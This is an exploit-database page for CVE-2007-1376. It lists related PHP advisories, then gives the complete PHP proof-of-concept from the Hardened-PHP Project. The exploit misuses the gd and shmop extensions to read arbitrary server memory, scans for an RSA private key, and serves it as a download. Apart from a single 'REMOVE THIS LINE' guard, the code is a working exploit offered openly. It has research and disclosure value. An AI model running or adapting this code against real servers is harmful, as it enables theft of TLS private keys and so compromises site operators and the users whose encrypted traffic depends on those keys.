| Reporter | Title | Published | Views | Family All 36 |
|---|---|---|---|---|
| PHP < 4.4.5 / 5.2.1 Multiple Vulnerabilities | 9 Feb 200700:00 | – | nessus | |
| Debian DSA-1283-1 : php5 - several vulnerabilities | 30 Apr 200700:00 | – | nessus | |
| GLSA-200703-21 : PHP: Multiple vulnerabilities | 26 Mar 200700:00 | – | nessus | |
| PHP < 4.4.5 Multiple Vulnerabilities | 2 Apr 200700:00 | – | nessus | |
| PHP < 5.2.1 Multiple Vulnerabilities | 2 Apr 200700:00 | – | nessus | |
| openSUSE 10 Security Update : apache2-mod_php5 (apache2-mod_php5-3289) | 17 Oct 200700:00 | – | nessus | |
| SuSE 10 Security Update : PHP5 (ZYPP Patch Number 3290) | 13 Dec 200700:00 | – | nessus | |
| Ubuntu 6.06 LTS / 6.10 / 7.04 : php5 vulnerabilities (USN-455-1) | 10 Nov 200700:00 | – | nessus | |
| CVE-2007-1376 | 10 Mar 200700:00 | – | cve | |
| CVE-2007-1376 | 10 Mar 200700:00 | – | cvelist |
<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP ext/shmop SSL RSA Private-Key Disclosure Exploit //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");
if (!extension_loaded("gd") || !extension_loaded("shmop")) {
die("This demonstration exploit only works with ext/gd and ext/shmop loaded.");
}
function init()
{
global $rid;
$rid = imagecreate(10,10);
imagecolorallocate($rid, 0, 0, 0);
imagecolorallocate($rid, 0, 0, 0);
}
function peek($addr, $size)
{
global $rid;
imagecolordeallocate($rid, 0);
imagecolordeallocate($rid, 1);
imagecolorallocate($rid, $addr, 0, 0);
imagecolorallocate($rid, $size, 0, 0);
return shmop_read((int)$rid, 0, $size);
}
init();
$offset = 0x08048000 + 1024 * 64;
while (1) {
$data = peek($offset, 1024 + 16);
$position = strpos($data, "\x30\x82");
if ($position !== false && $position < 1024) {
// Potential Key
if (substr($data, $position+4, 4) == "\x02\x01\x00\x02") {
$length = ord($data[$position+2])*256+ord($data[$position+3])+4;
$keydata = peek($offset + $position, $length);
// Assume an exponent of 0x10001 to really find a RSA key and not a DSA one
if (strpos($keydata, "\x01\x00\x01") > 0)
break;
}
}
$offset += 1024;
}
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"server.der\"");
echo $keydata;
?>
# milw0rm.com [2007-03-07]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation